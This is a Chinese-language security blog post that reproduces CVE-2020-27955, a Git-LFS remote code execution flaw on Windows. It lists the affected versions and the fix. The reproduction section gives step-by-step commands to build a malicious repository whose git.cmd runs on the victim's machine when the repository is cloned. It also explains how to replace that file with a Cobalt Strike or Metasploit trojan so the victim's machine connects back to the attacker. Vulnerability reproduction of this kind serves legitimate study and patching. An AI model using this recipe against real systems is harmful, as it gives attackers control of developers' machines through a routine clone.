前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2020-27955 Git-LFS远程代码执行漏洞复现

CVE-2020-27955 Git-LFS远程代码执行漏洞复现

作者头像
潇湘信安
发布2021-05-18 11:57:18
8140
发布2021-05-18 11:57:18
举报
文章被收录于专栏:潇湘信安潇湘信安

0x01 漏洞简介

Git LFS是Github开发的一个Git扩展,用于实现Git对大文件的支持。Windows平台上的Git-LFS版本<= 2.12上发现远程代码执行问题,一旦受害者克隆了恶意存储库并在其系统上运行了易受攻击的Git-LFS版本,就会立即执行有效载荷,漏洞编号为CVE-2020-27955。

0x02 影响版本

Git<=2.29.2、Git-LFS<=2.12,一些受影响的产品包括Git,GitHub CLI,GitHub Desktop,Visual Studio,GitKraden,SmartGit,Sourcetree等

0x03 漏洞复现

下载并安装≤2.12版本Git-LFS,可通过以下链接安装Windows版Git v2.29.2,Git-LFS版本就是2.12。

  • https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1
代码语言:javascript
复制
git --version
git-lfs --version
图片
图片

我们先创建一个名为POC的恶意存储库,然后再依次执行以下命令即可,恶意文件名必须命名为git.bat/git.cmd/git.vbs/git.exe。

安装Git-LFS:

代码语言:javascript
复制
sudo apt-get install git-lfs
代码语言:javascript
复制
git clone https://github.com/3had0w/POC.git
echo calc.exe > git.cmd
git lfs track "*.dat"
echo "Junk" > large.dat
git add -A
git commit -m "POC"
git push -u origin master -f
图片
图片
图片
图片
图片
图片

其他更多Windows可执行文件可在环境变量PATHEXT中查看。

图片
图片

完成以上操作后我们的恶意存储库就创建好了,当有人使用git clone克隆该项目时,git.cmd恶意文件就会被下载到本地,并由Git-LFS扩展自动执行,无需交互,执行流程如下图。

图片
图片
图片
图片

如果需要上线至CS/MSF时可以将恶意存储库中的git.cmd恶意文件替换为CS/MSF的二进制木马文件即可,不过还是得命名为git.exe,接着我们重新执行一下git clone就能够正常上线了。

图片
图片

0x04 漏洞修复

更新并保持Git版本高于2.29.2和Git-LFS扩展高于2.12

0x05 参考链接

https://github.com/ExploitBox/git-lfs-RCE-exploit-CVE-2020-27955

https://exploitbox.io/vuln/Git-Git-LFS-RCE-Exploit-CVE-2020-27955.html

https://infosecwriteups.com/git-lfs-exploit-for-remote-code-execution-cve-2020-27955-e8f4786163c3

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-05-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
脆弱性检测服务
脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档